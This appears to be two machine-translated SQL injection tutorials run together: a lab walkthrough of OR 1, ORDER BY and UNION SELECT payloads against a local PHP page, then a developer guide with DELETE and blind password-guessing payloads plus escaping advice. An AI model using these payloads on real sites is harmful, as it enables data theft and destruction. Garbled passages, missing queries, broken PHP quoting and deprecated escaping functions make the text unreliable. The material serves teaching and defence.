Remember the AND that is used in the first query? It stands for logical AND operation. Let me remind you that the logical operation “AND” produces “true” (1) only if both expressions are true. But the logical operator "OR" produces "true" (1) even if at least one of the expressions is true. Those. expression
will always be true will always return 1. Because one of the two expressions being compared will always return 1.

Those. we need to create an expression that looks like this:
Address bar:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 -+ &password=111

Result:

The result is excellent! We received a list of all records in the table.

ORDER BY and UNION are the main friends of SQL injections

We have already received data that was inaccessible to those who did not have a valid username and password. Is there anything else I can get? Yes, you can get a full dump of this table (let me remind you, we still don’t have passwords. Moreover, we can get all the data from all the databases on this server through one tiny hole!

UNION allows you to combine SQL queries. In real life, my tasks are simple, and therefore simple queries to databases and capabilities UNION I don't use it. But for SQL injections there is no more valuable word than this.

UNION allows you to quite flexibly combine SQL queries with SELECT, including from different databases. But there is an important syntax requirement: the number of columns in the first SELECT must equal the number of columns in the second SELECT.

ORDER BY sets the sorting of the data received from the table. You can sort by column name, or by its number. Moreover, if there is no column with this number, then an error will be shown:

Address bar:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

The request looks like this:
We replaced the username with -1 so that no data is displayed.

There is no error, there is also no error with requests
And here is the request
it corresponds to the address bar

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

I got an error

This means that data is selected from the table in five columns.

We construct our query with UNION:

As I said, the number of fields should be the same in both SELECTs, but what is in these fields is not very important. You can, for example, simply enter numbers - and these are the ones that will be displayed. You can enter NULL - then nothing will be displayed instead of the field.
Address bar:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Another way to find the number of columns is using the same UNION. Using a ladder we add the number of columns:
They will all produce the same error:

Do this until the error message disappears.

Please note that the contents of some UNION SELECT 1,2,3,4,5 fields are displayed on the screen. Instead of numbers, you can specify functions.

What to write in SELECT

There are some functions that can be written directly in UNION:

  • DATABASE()- show the name of the current database
  • CURRENT_USER()- shows username and hostname
  • @@datadir- displays the absolute path to the database
  • USER()- Username
  • VERSION()- database version
In our example, fields 2, 4 and 5 are displayed. I.e. we can use any of these fields.

Using DATABASE() in UNION SELECT

Address:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Result:

Getting table names, fields and database dump

In the database information_schema there is a table called tables. This table contains a list of all tables that are present in all databases on this server. We can select our tables by searching in the field table_schema The name of our database is ‘db_library’ (we found the name using DATABASE()).

This is called the full UNION technique. There is plenty of material on it on the Internet. On my MySQL server, the full UNION technique does not work. I'm getting an error
It does not work because of the curvature of the arms, because this technique also does not bring results for sqlmap:

Something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique

This may be due to MySQL version 5.6. Because I can’t give practical examples, and I’m not interested in rewriting other people’s broken commands - now, even without me, there are as many “great theorists” on the Internet as you like, so I decided to immediately move on to considering the partial UNION technique. But this is not the simplest technique, and the article is already quite long.

In the next part of the article we will study the partial UNION technique, with its help we will get all the data on the server: the names of the databases, the names of their tables and fields in these tables, as well as their contents. While you wait for the second part to appear, practice, read about SQL injections and the UNION technique; the following articles are also recommended for reading:

P.S. oh yeah, I forgot about LIMIT. Next time I’ll also talk about the role of LIMIT in SQL injections.

SQL injections—the embedding of malicious code into database queries—are the most dangerous type of attack. Using SQL injections, an attacker can not only obtain private information from the database, but also, under certain conditions, make changes there.

The SQL injection vulnerability occurs because user information is included in a database query without proper processing: to ensure that the script is not vulnerable, it is necessary to ensure that all user data ends up in all database queries in an escaped form. The requirement of universality is the cornerstone: a violation committed in one script makes the entire system vulnerable.

Example of a vulnerability

Let's assume there is a script that displays a list of users from a given city, taking the city id as a GET parameter. The script will be accessed via HTTP at /users.php?cityid=20

In the script above, the developer inserts a GET parameter into the SQL query, implying that the GET parameter will always contain a number. An attacker could pass a string as a parameter and thereby corrupt the request. For example, it will access the script as /users.php?cityid=20; DELETE * FROM users
The SQL query will look like this:

The request will be executed, and the script will return not only users from the specified city, but also a list of all users whose password will be displayed instead of their real name.

How to protect yourself?

Let's enclose the user information in single quotes. Will this help?

From the example above, you can see that enclosing single quotes is not enough. You must also escape any quotes contained in the string. To do this, PHP provides the mysql_real_escape_string() function, which adds a backslash before each quote, backquote, and some other special characters. Let's look at the code:

So, to protect against SQL injections, all external parameters that may contain text must be processed using mysql_real_escape_string() and are enclosed in single quotes.

If you know that a parameter should take a numeric value, it can be converted to numeric form explicitly using the function intval() or floatval(). In this example we could use:

$sql = "SELECT username, realname
FROM users
WHERE cityid=""
.intval ( $_GET ["cityid" ] ) .""" ;

Differences between mysql_real_escape_string() and mysql_escape_string()

mysql_real_escape_string() is an improved version of the mysql_escape_string() function, which is widely used to generate secure queries to the MySQL database. The difference between these two functions is that mysql_real_escape_string() works correctly with multi-byte encodings.

Suppose there is a character in the data being processed (say, in UTF-8), the code of which consists of two bytes - hexadecimal 27 and 2B (decimal 39 and 43, respectively). mysql_escape_string() treats each byte of data passed to it as a separate character (more precisely, as the code of a separate character) and decides that the sequence of bytes 27 and 2B are two different characters: a single quote (") and a plus (+). Because the function accepts a quote as a special character, a slash (\) will be added before the byte with code 27, which is actually part of some harmless character.As a result, the data will be sent to the database in a distorted form.

It's worth noting that mysql_real_escape_string() works correctly in all cases and can completely replace mysql_escape_string().

mysql_real_escape_string() is available in PHP since version 4.3.0.

Additional examples

We've looked at the simplest example, but in practice a vulnerable query may be more complex and not display its results to the user. Next, we will consider examples of SQL injections in some more complex cases, without claiming completeness.

Injection in complex queries

In the simplest example, it was possible to embed code at the end of the SQL query. In practice, at the end of an SQL query there may be additional conditions, sorting operators, groupings and other SQL constructs. In each specific case, the attacker will try to embed a malicious piece in such a way that the request as a whole remains syntactically correct, but performs a different function. Here we will look at the simplest example of a vulnerable request with an additional condition.

As a result, the age condition<35 will not affect the sample, because The OR operator has a lower precedence than the AND operator, and the WHERE from the above query can be written differently as WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (remember that the WHERE 1 expression is always true). As a result, both those lines with cityid="20" and those with age will fit the condition<35, причем наличие последних не обязательно.

For complex queries, successful SQL injections require some creativity, but attackers can be expected to have some.

Query results are not displayed to the user

It may be that a query whose results are not displayed to the user is vulnerable. This could be, for example, an auxiliary query:

$sql = "SELECT count(*)
FROM users
WHERE userid=""
.$_GET [ "userid" ] .""" ;

The query above just checks for the presence of a user with a given userid: if it returns any non-zero value, the user profile with the corresponding userid is shown, but if 0 is returned (that is, there are no users satisfying the request criteria), the message “user not found” is displayed.

In this case, the password (or other information) is determined by brute force. The attacker passes the string as the userid parameter 2" AND password LIKE "a%. Final request:

SELECT count (*) FROM users WHERE userid="2" AND password LIKE "a% "

The attacker will receive "user not found" if the password does not start with the letter "a", or the standard user profile page, otherwise. The first letter of the password is determined by brute force, then the second, etc.

conclusions

  • All queries that use external data must be protected from SQL injections. External data can be transmitted not only as GET parameters, but also using the POST method, taken from a COOKIE, from third-party sites, or from a database into which the user had the opportunity to enter information.
  • All numeric parameters should be explicitly converted to numeric form using functions intval() And floatval()
  • All string parameters should be escaped with mysql_real_escape_string() and put it in quotation marks.
  • If constructing an SQL injection is difficult, you should not expect that the attacker will not figure out how to do it. This especially applies to engines whose source code is public.

Good luck building secure applications!